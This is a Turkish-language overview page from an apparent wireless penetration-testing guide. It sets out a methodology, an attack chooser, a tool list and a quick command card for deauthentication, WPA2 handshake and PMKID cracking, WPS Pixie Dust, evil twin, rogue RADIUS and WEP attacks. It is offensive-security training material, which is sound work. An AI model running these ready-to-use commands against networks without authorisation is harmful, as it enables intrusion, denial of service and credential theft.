WiFi

Kablosuz ağ testi; radyo katmanının doğası gereği fiziksel erişim (veya yeterli sinyal menzili) gerektiren ama kablolu ağdan farklı bir saldırı yüzeyi sunar. Bu bölüm WPA2 handshake/PMKID kırma, WPS zayıflıkları, evil twin, WEP ve WPA-Enterprise saldırılarını Türkçe olarak ele alır.

Ön koşul — donanım ve monitor mode

Monitor mode + paket enjeksiyonu destekleyen bir adaptör gerekir (ör. birçok Atheros/Ralink/Realtek çipli USB kart; macOS yerleşik kartları genelde yetersiz).

iw dev

sudo airmon-ng check kill

sudo airmon-ng start wlan0         # → wlan0mon

iw dev                             # type monitor

sudo aireplay-ng -9 wlan0mon       # injection testi

sudo airmon-ng stop wlan0mon

sudo systemctl start NetworkManager

Metodoloji

1. Keşif — AP’ler, kanallar, istemciler, ENC/AUTH, WPS, probe’lar.

2. Hedef seçimi — WEP / WPS / zayıf PSK / Enterprise / açık ağ önceliği.

3. Malzeme toplama — handshake, PMKID, WPS PIN, rogue RADIUS hash, portal creds.

4. Kırma / kimlik — hashcat 22000/5500, Pixie, wordlist+rules.

5. Erişim & sonrası — ağa katılım → Network / AD .

Hangi teknik ne zaman

Hedef	İlk tercih	Alternatif
WPA2-PSK, istemci var	Handshake + deauth	PMKID
WPA2-PSK, istemci yok	PMKID	Bekle / evil twin
WPS Enabled, unlocked	Pixie Dust	PIN brute
Enterprise (PEAP/MSCHAPv2)	Rogue RADIUS + eaphammer	Captive hibrit
Açık / misafir	Evil twin / sniff	KARMA
WEP	ARP replay + aircrack	Fragmentation
WPA3-SAE	Klasik PSK kırma yok	Başka vektör / kapsam dışı not

Araç çantası

aircrack-ng suite   → airmon, airodump, aireplay, aircrack
hcxdumptool/hcxtools → PMKID + EAPOL → hashcat 22000
reaver / bully / OneShot → WPS
eaphammer / hostapd-wpe → Enterprise rogue
wifiphisher / hostapd-mana → evil twin / KARMA
hashcat / john       → offline kırma
mdk4                 → deauth / DoS çeşitleri

Bölümler

• Keşif & Monitor Mode — monitor mode, airodump, sınıflandırma
• Deauthentication Saldırıları — handshake ve evil twin tetikleyici
• WPA2-PSK Handshake Kırma — 4-way + hashcat 22000
• PMKID Saldırısı (clientless) — istemcisiz toplama
• WPS Saldırıları — Pixie Dust ve PIN brute
• Evil Twin & Rogue AP — captive portal, KARMA/MANA
• WPA-Enterprise Saldırıları — MSCHAPv2 / rogue RADIUS
• WEP Kırma — IV / ARP replay

Zincir örnekleri

airodump keşif → WPS unlocked
  → reaver -K 1 → PSK → iç ağ nmap / SMB

hcxdumptool PMKID → hashcat 22000 → PSK
  → hostapd aynı PSK twin → MITM

AUTH=MGT → eaphammer --creds → hashcat -m 5500
  → domain password spray

ENC=WEP → aireplay -3 → aircrack-ng → key → IoT segment

Hızlı komut kartı

sudo airmon-ng check kill && sudo airmon-ng start wlan0

sudo airodump-ng --band abg wlan0mon

sudo wash -i wlan0mon

sudo airodump-ng -c CH --bssid BSSID -w cap wlan0mon

sudo aireplay-ng --deauth 5 -a BSSID -c CLIENT wlan0mon

hcxpcapngtool -o hash.22000 cap-01.cap

hashcat -m 22000 hash.22000 rockyou.txt

sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --enable_status=15

sudo reaver -i wlan0mon -b BSSID -c CH -K 1 -vv